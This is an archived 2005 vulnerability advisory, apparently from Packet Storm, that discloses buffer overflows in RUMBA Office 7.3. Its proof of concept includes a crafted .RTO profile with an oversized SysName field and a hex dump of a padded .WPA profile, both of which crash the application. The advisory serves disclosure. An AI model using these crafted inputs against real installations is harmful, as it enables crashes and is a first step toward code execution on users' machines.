exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RUMBA.txt

RUMBA.txt
Posted Apr 17, 2005
Authored by Bahaa Naamnmeh | Site bsecurity.tk

There are several buffer overflow vulnerabilities that can be triggered when loading a specially crafted profile into RUMBA Office 7.3.

tags | advisory, overflow, vulnerability
SHA-256 | ddc021caa5195851b76ce25e60084b865be505a0a82d133687d33b9815e75145
Download | Favorite | View

RUMBA.txt

Change Mirror Download


Buffer Overflow within the RUMBA product
----------------------------------------
 

Advisory Information:
=====================
Application: RUMBA OFFICE 
Vendor Homepage: https://www.netmanage.com
Versions: 7.3 (and earlier versions)
Platforms: Windows (all) 
Severity: High 
Date: 15/01/05


Introduction:
=============
RUMBA is the most recognized host access software brand in the world thanks 
to its ability to increase user productivity and reduce total cost of ownership.
Access host information from any desktop or server-managed client.
Streamline business processes to meet your current and future needs.
Protect your valuable host information from internal and external threats.

- Vendors Description


Details:
========
There are several buffer overflow vulnerabilities which can be triggered when 
loading a specially crafted profile into RUMBA. RUMBA is lacking in it's ability 
to safely copy values out of the profile file; it places too much trust on the 
length values calculated or supplied within these files being under a certain 
length limit. 


Proof Of Concept:
=================
-----------snip-of-foo.RTO-profile-file-----------

[RUMBAFIL]
Version=5.32
InterIndex=4
SysName=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBB
Type=RECV
Min=FALSE
Notify=TRUE
Percent=TRUE
Close=FALSE
Truncate=TRUE
Auto=FALSE
TruncateSpaces=TRUE
Nulls=FALSE
EncryptedPassword=FALSE
ASName=

-----------------------snip-----------------------



-------snip-of-foo.WPA-profile-file-(HEX)---------

00 00 00 00 00 00 00 43 3a 5c 50 72 6f 67 72 61 
6d 20 46 69 6c 65 73 5c 4e 65 74 4d 61 6e 61 67 
65 5c 52 55 4d 42 41 5c 53 79 73 74 65 6d 5c 50 
72 66 53 61 76 65 31 2e 41 6d 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 
78 78 78 78 78 78 78 78 78 78 78 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

-----------------------snip-----------------------


Vendor status:
==============
The vendor has been informed.


Discovered by/Credit:
=====================
Bahaa Naamneh
b_naamneh@hotmail.com
https://www.bsecurity.tk

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close